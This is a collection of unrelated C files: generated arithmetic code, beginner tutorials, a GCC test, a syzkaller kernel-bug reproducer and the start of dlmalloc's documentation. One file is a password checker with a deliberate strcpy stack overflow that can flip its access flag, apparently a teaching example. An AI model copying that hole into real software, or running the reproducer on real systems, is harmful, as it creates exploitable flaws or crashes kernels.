x_12) > (3.0 + x_15)? (5.0 + x_12) : (3.0 + x_15))? ((19.0 + x_6) > (12.0 + x_10)? (19.0 + x_6) : (12.0 + x_10)) : ((5.0 + x_12) > (3.0 + x_15)? (5.0 + x_12) : (3.0 + x_15)))? ((1.0 + x_0) > ((17.0 + x_4) > (16.0 + x_5)? (17.0 + x_4) : (16.0 + x_5))? (1.0 + x_0) : ((17.0 + x_4) > (16.0 + x_5)? (17.0 + x_4) : (16.0 + x_5))) : (((19.0 + x_6) > (12.0 + x_10)? (19.0 + x_6) : (12.0 + x_10)) > ((5.0 + x_12) > (3.0 + x_15)? (5.0 + x_12) : (3.0 + x_15))? ((19.0 + x_6) > (12.0 + x_10)? (19.0 + x_6) : (12.0 + x_10)) : ((5.0 + x_12) > (3.0 + x_15)? (5.0 + x_12) : (3.0 + x_15)))) : (((9.0 + x_16) > ((3.0 + x_17) > (3.0 + x_18)? (3.0 + x_17) : (3.0 + x_18))? (9.0 + x_16) : ((3.0 + x_17) > (3.0 + x_18)? (3.0 + x_17) : (3.0 + x_18))) > (((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)) > ((9.0 + x_25) > (7.0 + x_26)? (9.0 + x_25) : (7.0 + x_26))? ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)) : ((9.0 + x_25) > (7.0 + x_26)? (9.0 + x_25) : (7.0 + x_26)))? ((9.0 + x_16) > ((3.0 + x_17) > (3.0 + x_18)? (3.0 + x_17) : (3.0 + x_18))? (9.0 + x_16) : ((3.0 + x_17) > (3.0 + x_18)? (3.0 + x_17) : (3.0 + x_18))) : (((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)) > ((9.0 + x_25) > (7.0 + x_26)? (9.0 + x_25) : (7.0 + x_26))? ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)) : ((9.0 + x_25) > (7.0 + x_26)? (9.0 + x_25) : (7.0 + x_26)))));
x_26_ = ((((10.0 + x_1) > ((3.0 + x_4) > (2.0 + x_7)? (3.0 + x_4) : (2.0 + x_7))? (10.0 + x_1) : ((3.0 + x_4) > (2.0 + x_7)? (3.0 + x_4) : (2.0 + x_7))) > (((8.0 + x_8) > (17.0 + x_10)? (8.0 + x_8) : (17.0 + x_10)) > ((10.0 + x_11) > (18.0 + x_12)? (10.0 + x_11) : (18.0 + x_12))? ((8.0 + x_8) > (17.0 + x_10)? (8.0 + x_8) : (17.0 + x_10)) : ((10.0 + x_11) > (18.0 + x_12)? (10.0 + x_11) : (18.0 + x_12)))? ((10.0 + x_1) > ((3.0 + x_4) > (2.0 + x_7)? (3.0 + x_4) : (2.0 + x_7))? (10.0 + x_1) : ((3.0 + x_4) > (2.0 + x_7)? (3.0 + x_4) : (2.0 + x_7))) : (((8.0 + x_8) > (17.0 + x_10)? (8.0 + x_8) : (17.0 + x_10)) > ((10.0 + x_11) > (18.0 + x_12)? (10.0 + x_11) : (18.0 + x_12))? ((8.0 + x_8) > (17.0 + x_10)? (8.0 + x_8) : (17.0 + x_10)) : ((10.0 + x_11) > (18.0 + x_12)? (10.0 + x_11) : (18.0 + x_12)))) > (((6.0 + x_14) > ((3.0 + x_16) > (7.0 + x_18)? (3.0 + x_16) : (7.0 + x_18))? (6.0 + x_14) : ((3.0 + x_16) > (7.0 + x_18)? (3.0 + x_16) : (7.0 + x_18))) > (((9.0 + x_20) > (3.0 + x_21)? (9.0 + x_20) : (3.0 + x_21)) > ((14.0 + x_23) > (8.0 + x_26)? (14.0 + x_23) : (8.0 + x_26))? ((9.0 + x_20) > (3.0 + x_21)? (9.0 + x_20) : (3.0 + x_21)) : ((14.0 + x_23) > (8.0 + x_26)? (14.0 + x_23) : (8.0 + x_26)))? ((6.0 + x_14) > ((3.0 + x_16) > (7.0 + x_18)? (3.0 + x_16) : (7.0 + x_18))? (6.0 + x_14) : ((3.0 + x_16) > (7.0 + x_18)? (3.0 + x_16) : (7.0 + x_18))) : (((9.0 + x_20) > (3.0 + x_21)? (9.0 + x_20) : (3.0 + x_21)) > ((14.0 + x_23) > (8.0 + x_26)? (14.0 + x_23) : (8.0 + x_26))? ((9.0 + x_20) > (3.0 + x_21)? (9.0 + x_20) : (3.0 + x_21)) : ((14.0 + x_23) > (8.0 + x_26)? (14.0 + x_23) : (8.0 + x_26))))? (((10.0 + x_1) > ((3.0 + x_4) > (2.0 + x_7)? (3.0 + x_4) : (2.0 + x_7))? (10.0 + x_1) : ((3.0 + x_4) > (2.0 + x_7)? (3.0 + x_4) : (2.0 + x_7))) > (((8.0 + x_8) > (17.0 + x_10)? (8.0 + x_8) : (17.0 + x_10)) > ((10.0 + x_11) > (18.0 + x_12)? (10.0 + x_11) : (18.0 + x_12))? ((8.0 + x_8) > (17.0 + x_10)? (8.0 + x_8) : (17.0 + x_10)) : ((10.0 + x_11) > (18.0 + x_12)? (10.0 + x_11) : (18.0 + x_12)))? ((10.0 + x_1) > ((3.0 + x_4) > (2.0 + x_7)? (3.0 + x_4) : (2.0 + x_7))? (10.0 + x_1) : ((3.0 + x_4) > (2.0 + x_7)? (3.0 + x_4) : (2.0 + x_7))) : (((8.0 + x_8) > (17.0 + x_10)? (8.0 + x_8) : (17.0 + x_10)) > ((10.0 + x_11) > (18.0 + x_12)? (10.0 + x_11) : (18.0 + x_12))? ((8.0 + x_8) > (17.0 + x_10)? (8.0 + x_8) : (17.0 + x_10)) : ((10.0 + x_11) > (18.0 + x_12)? (10.0 + x_11) : (18.0 + x_12)))) : (((6.0 + x_14) > ((3.0 + x_16) > (7.0 + x_18)? (3.0 + x_16) : (7.0 + x_18))? (6.0 + x_14) : ((3.0 + x_16) > (7.0 + x_18)? (3.0 + x_16) : (7.0 + x_18))) > (((9.0 + x_20) > (3.0 + x_21)? (9.0 + x_20) : (3.0 + x_21)) > ((14.0 + x_23) > (8.0 + x_26)? (14.0 + x_23) : (8.0 + x_26))? ((9.0 + x_20) > (3.0 + x_21)? (9.0 + x_20) : (3.0 + x_21)) : ((14.0 + x_23) > (8.0 + x_26)? (14.0 + x_23) : (8.0 + x_26)))? ((6.0 + x_14) > ((3.0 + x_16) > (7.0 + x_18)? (3.0 + x_16) : (7.0 + x_18))? (6.0 + x_14) : ((3.0 + x_16) > (7.0 + x_18)? (3.0 + x_16) : (7.0 + x_18))) : (((9.0 + x_20) > (3.0 + x_21)? (9.0 + x_20) : (3.0 + x_21)) > ((14.0 + x_23) > (8.0 + x_26)? (14.0 + x_23) : (8.0 + x_26))? ((9.0 + x_20) > (3.0 + x_21)? (9.0 + x_20) : (3.0 + x_21)) : ((14.0 + x_23) > (8.0 + x_26)? (14.0 + x_23) : (8.0 + x_26)))));
x_27_ = ((((13.0 + x_2) > ((17.0 + x_4) > (12.0 + x_8)? (17.0 + x_4) : (12.0 + x_8))? (13.0 + x_2) : ((17.0 + x_4) > (12.0 + x_8)? (17.0 + x_4) : (12.0 + x_8))) > (((9.0 + x_9) > (19.0 + x_10)? (9.0 + x_9) : (19.0 + x_10)) > ((9.0 + x_11) > (13.0 + x_12)? (9.0 + x_11) : (13.0 + x_12))? ((9.0 + x_9) > (19.0 + x_10)? (9.0 + x_9) : (19.0 + x_10)) : ((9.0 + x_11) > (13.0 + x_12)? (9.0 + x_11) : (13.0 + x_12)))? ((13.0 + x_2) > ((17.0 + x_4) > (12.0 + x_8)? (17.0 + x_4) : (12.0 + x_8))? (13.0 + x_2) : ((17.0 + x_4) > (12.0 + x_8)? (17.0 + x_4) : (12.0 + x_8))) : (((9.0 + x_9) > (19.0 + x_10)? (9.0 + x_9) : (19.0 + x_10)) > ((9.0 + x_11) > (13.0 + x_12)? (9.0 + x_11) : (13.0 + x_12))? ((9.0 + x_9) > (19.0 + x_10)? (9.0 + x_9) : (19.0 + x_10)) : ((9.0 + x_11) > (13.0 + x_12)? (9.0 + x_11) : (13.0 + x_12)))) > (((19.0 + x_15) > ((19.0 + x_16) > (4.0 + x_17)? (19.0 + x_16) : (4.0 + x_17))? (19.0 + x_15) : ((19.0 + x_16) > (4.0 + x_17)? (19.0 + x_16) : (4.0 + x_17))) > (((18.0 + x_18) > (19.0 + x_22)? (18.0 + x_18) : (19.0 + x_22)) > ((10.0 + x_24) > (12.0 + x_26)? (10.0 + x_24) : (12.0 + x_26))? ((18.0 + x_18) > (19.0 + x_22)? (18.0 + x_18) : (19.0 + x_22)) : ((10.0 + x_24) > (12.0 + x_26)? (10.0 + x_24) : (12.0 + x_26)))? ((19.0 + x_15) > ((19.0 + x_16) > (4.0 + x_17)? (19.0 + x_16) : (4.0 + x_17))? (19.0 + x_15) : ((19.0 + x_16) > (4.0 + x_17)? (19.0 + x_16) : (4.0 + x_17))) : (((18.0 + x_18) > (19.0 + x_22)? (18.0 + x_18) : (19.0 + x_22)) > ((10.0 + x_24) > (12.0 + x_26)? (10.0 + x_24) : (12.0 + x_26))? ((18.0 + x_18) > (19.0 + x_22)? (18.0 + x_18) : (19.0 + x_22)) : ((10.0 + x_24) > (12.0 + x_26)? (10.0 + x_24) : (12.0 + x_26))))? (((13.0 + x_2) > ((17.0 + x_4) > (12.0 + x_8)? (17.0 + x_4) : (12.0 + x_8))? (13.0 + x_2) : ((17.0 + x_4) > (12.0 + x_8)? (17.0 + x_4) : (12.0 + x_8))) > (((9.0 + x_9) > (19.0 + x_10)? (9.0 + x_9) : (19.0 + x_10)) > ((9.0 + x_11) > (13.0 + x_12)? (9.0 + x_11) : (13.0 + x_12))? ((9.0 + x_9) > (19.0 + x_10)? (9.0 + x_9) : (19.0 + x_10)) : ((9.0 + x_11) > (13.0 + x_12)? (9.0 + x_11) : (13.0 + x_12)))? ((13.0 + x_2) > ((17.0 + x_4) > (12.0 + x_8)? (17.0 + x_4) : (12.0 + x_8))? (13.0 + x_2) : ((17.0 + x_4) > (12.0 + x_8)? (17.0 + x_4) : (12.0 + x_8))) : (((9.0 + x_9) > (19.0 + x_10)? (9.0 + x_9) : (19.0 + x_10)) > ((9.0 + x_11) > (13.0 + x_12)? (9.0 + x_11) : (13.0 + x_12))? ((9.0 + x_9) > (19.0 + x_10)? (9.0 + x_9) : (19.0 + x_10)) : ((9.0 + x_11) > (13.0 + x_12)? (9.0 + x_11) : (13.0 + x_12)))) : (((19.0 + x_15) > ((19.0 + x_16) > (4.0 + x_17)? (19.0 + x_16) : (4.0 + x_17))? (19.0 + x_15) : ((19.0 + x_16) > (4.0 + x_17)? (19.0 + x_16) : (4.0 + x_17))) > (((18.0 + x_18) > (19.0 + x_22)? (18.0 + x_18) : (19.0 + x_22)) > ((10.0 + x_24) > (12.0 + x_26)? (10.0 + x_24) : (12.0 + x_26))? ((18.0 + x_18) > (19.0 + x_22)? (18.0 + x_18) : (19.0 + x_22)) : ((10.0 + x_24) > (12.0 + x_26)? (10.0 + x_24) : (12.0 + x_26)))? ((19.0 + x_15) > ((19.0 + x_16) > (4.0 + x_17)? (19.0 + x_16) : (4.0 + x_17))? (19.0 + x_15) : ((19.0 + x_16) > (4.0 + x_17)? (19.0 + x_16) : (4.0 + x_17))) : (((18.0 + x_18) > (19.0 + x_22)? (18.0 + x_18) : (19.0 + x_22)) > ((10.0 + x_24) > (12.0 + x_26)? (10.0 + x_24) : (12.0 + x_26))? ((18.0 + x_18) > (19.0 + x_22)? (18.0 + x_18) : (19.0 + x_22)) : ((10.0 + x_24) > (12.0 + x_26)? (10.0 + x_24) : (12.0 + x_26)))));
x_0 = x_0_;
x_1 = x_1_;
x_2 = x_2_;
x_3 = x_3_;
x_4 = x_4_;
x_5 = x_5_;
x_6 = x_6_;
x_7 = x_7_;
x_8 = x_8_;
x_9 = x_9_;
x_10 = x_10_;
x_11 = x_11_;
x_12 = x_12_;
x_13 = x_13_;
x_14 = x_14_;
x_15 = x_15_;
x_16 = x_16_;
x_17 = x_17_;
x_18 = x_18_;
x_19 = x_19_;
x_20 = x_20_;
x_21 = x_21_;
x_22 = x_22_;
x_23 = x_23_;
x_24 = x_24_;
x_25 = x_25_;
x_26 = x_26_;
x_27 = x_27_;
}
return 0;
}
|
the_stack_data/622008.c
|
/*
* author: Mahmud Ahsan
* https://github.com/mahmudahsan
* blog: http://thinkdiff.net
* http://banglaprogramming.com
* License: MIT License
*/
/*
* Variable Modifiers
* short
* long
* signed +/-
* unsigned
* value range n=bits: -2^n-1 to (+2^n-1)-1
*/
#include <stdio.h>
int main(){
// n=32, -2^31 to (+2^31)-1
// -2147483648 to 2147483647
int intNum = 2147483647;
signed int sIntNum = -2147483648;
unsigned int uIntNum = 4147483647;
short int shortIntNum = 32767;
long int longIntNum = 10147483647;
long long int llIntNum = 11147483647;
// shorten
short _shortInNum;
long _longIntNum;
unsigned _uIntNum;
printf("\n");
printf("int num %i | size: %lu bytes\n",
intNum, sizeof(intNum));
printf("signed int num %i | size: %lu bytes\n",
sIntNum, sizeof(sIntNum));
printf("unsigned int num %u | size: %lu bytes\n",
uIntNum, sizeof(uIntNum));
printf("short int num %hi | size: %lu bytes\n",
shortIntNum, sizeof(shortIntNum));
printf("long int num %li | size: %lu bytes\n",
longIntNum, sizeof(longIntNum));
printf("long long int num %lli | size: %lu bytes\n",
llIntNum, sizeof(llIntNum));
// Long constant by L or l
// Float constant by F or f
long longNum = 404L;
float floatNum = 40.40F;
printf("\nLong Number: %li\n", longNum);
printf("\nFloat Number: %f\n", floatNum);
return 0;
}
|
the_stack_data/89199798.c
|
/* PR middle-end/29272 */
extern void abort (void);
struct S { struct S *s; } s;
struct T { struct T *t; } t;
static inline void
foo (void *s)
{
struct T *p = s;
__builtin_memcpy (&p->t, &t.t, sizeof (t.t));
}
void *
__attribute__((noinline))
bar (void *p, struct S *q)
{
q->s = &s;
foo (p);
return q->s;
}
int
main (void)
{
t.t = &t;
if (bar (&s, &s) != (void *) &t)
abort ();
return 0;
}
|
the_stack_data/917364.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
}
|
the_stack_data/1223377.c
|
// macro
#include <stdio.h>
#define sum(max, out) { \
int total=0; \
for (int i=0; i<=max; i++) \
total += i; \
out = total; \
}
int main(){
int out;
int total = 5;
sum(5, out);
printf("out=%i original total=%i\n", out, total);
}
// using variable in macro and avoid variable override
// using gcc -E curly.c see the macro expand
|
the_stack_data/64201015.c
|
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
#define MAX_FDS 30
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
drop_caps();
if (unshare(CLONE_NEWNET)) {
}
loop();
exit(1);
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void close_fds()
{
int fd;
for (fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
close_fds();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_one(void)
{
intptr_t res = 0;
syscall(__NR_creat, 0ul, 0ul);
memcpy((void*)0x200003c0, "/sys/kernel/debug/bluetooth/6lowpan_enable\000",
43);
res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x200003c0ul, 2ul, 0ul);
if (res != -1)
r[0] = res;
memcpy((void*)0x20000140, "1", 1);
syscall(__NR_write, r[0], 0x20000140ul, 1ul);
}
int main(void)
{
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0);
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/132952176.c
|
/*
This is a version (aka dlmalloc) of malloc/free/realloc written by
Doug Lea and released to the public domain, as explained at
http://creativecommons.org/publicdomain/zero/1.0/ Send questions,
comments, complaints, performance data, etc to [email protected]
* Version 2.8.6 Wed Aug 29 06:57:58 2012 Doug Lea
Note: There may be an updated version of this malloc obtainable at
ftp://gee.cs.oswego.edu/pub/misc/malloc.c
Check before installing!
* Quickstart
This library is all in one file to simplify the most common usage:
ftp it, compile it (-O3), and link it into another program. All of
the compile-time options default to reasonable values for use on
most platforms. You might later want to step through various
compile-time and dynamic tuning options.
For convenience, an include file for code using this malloc is at:
ftp://gee.cs.oswego.edu/pub/misc/malloc-2.8.6.h
You don't really need this .h file unless you call functions not
defined in your system include files. The .h file contains only the
excerpts from this file needed for using this malloc on ANSI C/C++
systems, so long as you haven't changed compile-time options about
naming and tuning parameters. If you do, then you can create your
own malloc.h that does include all settings by cutting at the point
indicated below. Note that you may already by default be using a C
library containing a malloc that is based on some version of this
malloc (for example in linux). You might still want to use the one
in this file to customize settings or to avoid overheads associated
with library versions.
* Vital statistics:
Supported pointer/size_t representation: 4 or 8 bytes
size_t MUST be an unsigned type of the same width as
pointers. (If you are using an ancient system that declares
size_t as a signed type, or need it to be a different width
than pointers, you can use a previous release of this malloc
(e.g. 2.7.2) supporting these.)
Alignment: 8 bytes (minimum)
This suffices for nearly all current machines and C compilers.
However, you can define MALLOC_ALIGNMENT to be wider than this
if necessary (up to 128bytes), at the expense of using more space.
Minimum overhead per allocated chunk: 4 or 8 bytes (if 4byte sizes)
8 or 16 bytes (if 8byte sizes)
Each malloced chunk has a hidden word of overhead holding size
and status information, and additional cross-check word
if FOOTERS is defined.
Minimum allocated size: 4-byte ptrs: 16 bytes (including overhead)
8-byte ptrs: 32 bytes (including overhead)
Even a request for zero bytes (i.e., malloc(0)) returns a
pointer to something of the minimum allocatable size.
The maximum overhead wastage (i.e., number of extra bytes
allocated than were requested in malloc) is less than or equal
to the minimum size, except for requests >= mmap_threshold that
are serviced via mmap(), where the worst case wastage is about
32 bytes plus the remainder from a system page (the minimal
mmap unit); typically 4096 or 8192 bytes.
Security: static-safe; optionally more or less
The "security" of malloc refers to the ability of malicious
code to accentuate the effects of errors (for example, freeing
space that is not currently malloc'ed or overwriting past the
ends of chunks) in code that calls malloc. This malloc
guarantees not to modify any memory locations below the base of
heap, i.e., static variables, even in the presence of usage
errors. The routines additionally detect most improper frees
and reallocs. All this holds as long as the static bookkeeping
for malloc itself is not corrupted by some other means. This
is only one aspect of security -- these checks do not, and
cannot, detect all possible programming errors.
If FOOTERS is defined nonzero, then each allocated chunk
carries an additional check word to verify that it was malloced
from its space. These check words are the same within each
execution of a program using malloc, but differ across
executions, so externally crafted fake chunks cannot be
freed. This improves security by rejecting frees/reallocs that
could corrupt heap memory, in addition to the checks preventing
writes to statics that are always on. This may further improve
security at the expense of time and space overhead. (Note that
FOOTERS may also be worth using with MSPACES.)
By default detected errors cause the program to abort (calling
"abort()"). You can override this to instead proceed past
errors by defining PROCEED_ON_ERROR. In this case, a bad free
has no effect, and a malloc that encounters a bad address
caused by user overwrites will ignore the bad address by
dropping pointers and indices to all known memory. This may
be appropriate for programs that should continue if at all
possible in the face of programming errors, although they may
run out of memory because dropped memory is never reclaimed.
If you don't like either of these options, you can define
CORRUPTION_ERROR_ACTION and USAGE_ERROR_ACTION to do anything
else. And if if you are sure that your program using malloc has
no errors or vulnerabilities, you can define INSECURE to 1,
which might (or might not) provide a small performance improvement.
It is also possible to limit the maximum total allocatable
space, using malloc_set_footprint_limit. This is not
designed as a security feature in itself (calls to set limits
are not screened or privileged), but may be useful as one
aspect of a secure implementation.
Thread-safety: NOT thread-safe unless USE_LOCKS defined non-zero
When USE_LOCKS is defined, each public call to malloc, free,
etc is surrounded with a lock. By default, this uses a plain
pthread mutex, win32 critical section, or a spin-lock if if
available for the platform and not disabled by setting
USE_SPIN_LOCKS=0. However, if USE_RECURSIVE_LOCKS is defined,
recursive versions are used instead (which are not required for
base functionality but may be needed in layered extensions).
Using a global lock is not especially fast, and can be a major
bottleneck. It is designed only to provide minimal protection
in concurrent environments, and to provide a basis for
extensions. If you are using malloc in a concurrent program,
consider instead using nedmalloc
(http://www.nedprod.com/programs/portable/nedmalloc/) or
ptmalloc (See http://www.malloc.de), which are derived from
versions of this malloc.
System requirements: Any combination of MORECORE and/or MMAP/MUNMAP
This malloc can use unix sbrk or any emulation (invoked using
the CALL_MORECORE macro) and/or mmap/munmap or any emulation
(invoked using CALL_MMAP/CALL_MUNMAP) to get and release system
memory. On most unix systems, it tends to work best if both
MORECORE and MMAP are enabled. On Win32, it uses emulations
based on VirtualAlloc. It also uses common C library functions
like memset.
Compliance: I believe it is compliant with the Single Unix Specification
(See http://www.unix.org). Also SVID/XPG, ANSI C, and probably
others as well.
* Overview of algorithms
This is not the fastest, most space-conserving, most portable, or
most tunable malloc ever written. However it is among the fastest
while also being among the most space-conserving, portable and
tunable. Consistent balance across these factors results in a good
general-purpose allocator for malloc-intensive programs.
In most ways, this malloc is a best-fit allocator. Generally, it
chooses the best-fitting existing chunk for a request, with ties
broken in approximately least-recently-used order. (This strategy
normally maintains low fragmentation.) However, for requests less
than 256bytes, it deviates from best-fit when there is not an
exactly fitting available chunk by preferring to use space adjacent
to that used for the previous small request, as well as by breaking
ties in approximately most-recently-used order. (These enhance
locality of series of small allocations.) And for very large requests
(>= 256Kb by default), it relies on system memory mapping
facilities, if supported. (This helps avoid carrying around and
possibly fragmenting memory used only for large chunks.)
All operations (except malloc_stats and mallinfo) have execution
times that are bounded by a constant factor of the number of bits in
a size_t, not counting any clearing in calloc or copying in realloc,
or actions surrounding MORECORE and MMAP that have times
proportional to the number of non-contiguous regions returned by
system allocation routines, which is often just 1. In real-time
applications, you can optionally suppress segment traversals using
NO_SEGMENT_TRAVERSAL, which assures bounded execution even when
system allocators return non-contiguous spaces, at the typical
expense of carrying around more memory and increased fragmentation.
The implementation is not very modular and seriously overuses
macros. Perhaps someday all C compilers will do as good a job
inlining modular code as can now be done by brute-force expansion,
but now, enough of them seem not to.
Some compilers issue a lot of warnings about code that is
dead/unreachable only on some platforms, and also about intentional
uses of negation on unsigned types. All known cases of each can be
ignored.
For a longer but out of date high-level description, see
http://gee.cs.oswego.edu/dl/html/malloc.html
* MSPACES
If MSPACES is defined, then in addition to malloc, free, etc.,
this file also defines mspace_malloc, mspace_free, etc. These
are versions of malloc routines that take an "mspace" argument
obtained using create_mspace, to control all internal bookkeeping.
If ONLY_MSPACES is defined, only these versions are compiled.
So if you would like to use this allocator for only some allocations,
and your system malloc for others, you can compile with
ONLY_MSPACES and then do something like...
static mspace mymspace = create_mspace(0,0); // for example
#define mymalloc(bytes) mspace_malloc(mymspace, bytes)
(Note: If you only need one instance of an mspace, you can instead
use "USE_DL_PREFIX" to relabel the global malloc.)
You can similarly create thread-local allocators by storing
mspaces as thread-locals. For example:
static __thread mspace tlms = 0;
void* tlmalloc(size_t bytes) {
if (tlms == 0) tlms = create_mspace(0, 0);
return mspace_malloc(tlms, bytes);
}
void tlfree(void* mem) { mspace_free(tlms, mem); }
Unless FOOTERS is defined, each mspace is completely independent.
You cannot allocate from one and free to another (although
conformance is only weakly checked, so usage errors are not always
caught). If FOOTERS is defined, then each chunk carries around a tag
indicating its originating mspace, and frees are directed to their
originating spaces. Normally, this requires use of locks.
------------------------- Compile-time options ---------------------------
Be careful in setting #define values for numerical constants of type
size_t. On some systems, literal values are not automatically extended
to size_t precision unless they are explicitly casted. You can also
use the symbolic values MAX_SIZE_T, SIZE_T_ONE, etc below.
WIN32 default: defined if _WIN32 defined
Defining WIN32 sets up defaults for MS environment and compilers.
Otherwise defaults are for unix. Beware that there seem to be some
cases where this malloc might not be a pure drop-in replacement for
Win32 malloc: Random-looking failures from Win32 GDI API's (eg;
SetDIBits()) may be due to bugs in some video driver implementations
when pixel buffers are malloc()ed, and the region spans more than
one VirtualAlloc()ed region. Because dlmalloc uses a small (64Kb)
default granularity, pixel buffers may straddle virtual allocation
regions more often than when using the Microsoft allocator. You can
avoid this by using VirtualAlloc() and VirtualFree() for all pixel
buffers rather than using malloc(). If this is not possible,
recompile this malloc with a larger DEFAULT_GRANULARITY. Note:
in cases where MSC and gcc (cygwin) are known to differ on WIN32,
conditions use _MSC_VER to distinguish them.
DLMALLOC_EXPORT default: extern
Defines how public APIs are declared. If you want to export via a
Windows DLL, you might define this as
#define DLMALLOC_EXPORT extern __declspec(dllexport)
If you want a POSIX ELF shared object, you might use
#define DLMALLOC_EXPORT extern __attribute__((visibility("default")))
MALLOC_ALIGNMENT default: (size_t)(2 * sizeof(void *))
Controls the minimum alignment for malloc'ed chunks. It must be a
